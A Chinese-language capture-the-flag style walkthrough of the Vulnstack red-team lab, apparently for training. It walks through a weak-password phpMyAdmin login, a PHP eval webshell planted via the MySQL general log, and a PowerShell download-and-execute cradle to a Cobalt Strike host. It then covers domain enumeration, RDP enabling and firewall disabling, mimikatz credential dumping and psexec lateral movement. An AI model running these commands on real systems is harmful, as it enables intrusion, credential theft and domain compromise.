ATK&CK红队评估实战靶场(一)
ATK&CK红队评估实战靶场(一)
一、前言
ATK&CK红队评估实战靶场(一)下载地址 : http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一初始密码:hongrisec@2019
:
二、环境搭建
创建两个仅主机网卡VMnet1
和VMnet2
模拟环境。
靶机IP配置详情
WEB服务器:windows7系统
1
2
模拟外网IP(VMnet1):192.168.1.130
模拟内网IP(VMnet2):192.168.52.143
域控服务器:windows server 2008系统
1
模拟内网IP(VMnet2):192.168.52.138
域成员:windows server 2003系统
1
模拟内网IP(VMnet2):192.168.52.141
攻击机:kali 2022.3
1
kali IP: 192.168.1.128
启动WEB服务器
我们需要启动Win7上面的phpstudy
服务来构造起我们的Web服务,但是红日靶场的phpstudy
不能正常启动,所以需要手动启动Apache
服务和Mysql
服务。
启动Apache服务:
在路径:C:\phpStudy\Apache\bin
下运行CMD
执行下方两个命令:
1
2
httpd.exe -k install
httpd.exe -k -n apache2.4
WIN+R
输入:services.msc
Apache
启动成功!
启动MySQL服务
在路径:C:\phpStudy\MySQL\bin
下运行CMD
执行下方命令:
1
mysqld --defaults-file="C:/phpStudy/mysql/my.ini" --console --skip-grant-tables
启动服务后即可访问。
三、肾透流程
外网信息搜集
扫一下WIN7
靶机看一下开放端口,可以看到扫到了mysql
的弱口令以及一个phpStudy
搭建的web服务
。
1
./fscan -h 192.168.1.130
继续扫描80端口
的web
服务:
1
dirsearch -u http://192.168.1.130
Get Shell
看到存在phpmyadmin
尝试使用弱口令成功登录后台:root:root
使用PhpMyAdmin开启全局日志getshell
首先测试是否可以使用select into outfile
直接写入,在此之前在phpinfo.php
中找到WEB
服务的绝对路径。
1
Select '<?php eval($_POST[hack]);?> ' into outfile 'C:/phpStudy/WWW/hack.php'
写入失败, show global variables like '%secure%'
查看变量secure-file-priv
值为NULL
,且为只读无法修改。
尝试使用全局日志写入shell,查看全局变量general_log
:
1
SHOW GLOBAL VARIABLES LIKE '%general_%'
开启全局日志并修改日志保存位置为C:/phpStudy/WWW/hack.php
1
2
set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/hack.php';
查询一句话写入日志Select '<?php eval($_POST[hack]);?>'
使用蚁剑连接成功。
上线CS
CS客户端服务端都部署在192.168.1.128的kali主机上,创建监听并生成powershell
生成powershell
1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.128:8080/hack'))"
执行上线CS,尝试多次未能上线(未知原因)。
尝试上传木马上线。
通过蚁剑上传木马
运行上线
主机信息搜集
1.系统信息收集
查看网卡信息:ipconfig
发现内网ip
地址192.168.52.143
2.查看域环境
本机计算机名字为STU1
,另外还有两个域用户分别是DEV1
、ROOT-TVI862UBEH
、域控制用户为OWA
1
2
3
net group /domain #查看域内所有用户列表
net group "domain computers" /domain #查看域成员计算机列表
net group "domain admins" /domain #查看域管理员用户
其他:
1
2
3
4
5
6
7
8
9
10
# 判断是否有域
whoami
ipconfig /all
hostname
nslookup god.org
systeminfo
net config workstation
net view /domain
net time /domain
3.主机密码获取
远程桌面登录
远程开启3389端口并关闭防火墙
1
2
3
4
5
6
7
8
9
10
#注册表开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#关闭防火墙
netsh firewall set opmode disable #winsows server 2003 之前
netsh advfirewall set allprofiles state off #winsows server 2003 之后
# 查看端口占用
netstat -an | find "3389"
Kali中使用rdesktop
登录远程桌面。
1
2
3
rdesktop -a 16 192.168.1.130:3389
# GOD\Administrator
# hongrisec@2024 (根据主机密码获取的为准,这边是我自己更改的)
内网信息搜集
前面收集到的信息Win7计算机名字为STU1
,另外还有两个域用户分别是DEV1
、ROOT-TVI862UBEH
、域控制用户为OWA
win7
内网的IP地址为192.168.52.143
使用CS中的Ladon
插件进行探测,可以看到我们拿到了143
的权限,还有141
、138
1
Ladon 192.168.52.0/24 OnlinePC
1
Ladon 192.168.52.0/24 OsScan
横向移动
接下来就是横向移动,但是由于内网机是无法直接和外网连接的,这将win7
当成跳板机。
因为192.168.52.0/24
段不能直接连接到192.168.1.128
(kali地址),所以需要CS派生smb beacon
。让内网的主机连接到win7上。
官网介绍:SMB Beacon
使用命名管道通过父级Beacon
进行通讯,当两个Beacons
链接后,子Beacon
从父Beacon
获取到任务并发送。 因为链接的Beacons
使用Windows
命名管道进行通信,此流量封装在SMB
协议中,所以SMB Beacon
相对隐蔽,绕防火墙时可能发挥奇效。
前提先run mimikatz
获取解密明文,如下图点击可以看到解密密码
准备smb
协议,Payload选择Beacon SMB
,Save
即可。
扫描192.168.52.0/24
网段。
选择192.168.52.0/24
网段Scan
即可
如下图点击即可显示在win7内网扫描的存活IP
利用psexec
上线,操作如下图。
使用之前获取的主机信息和凭据,使用psexec
模块进行登入,设置完毕后点击Launch
即可。
使用该方式即可上线拿到 141
、138
的权限。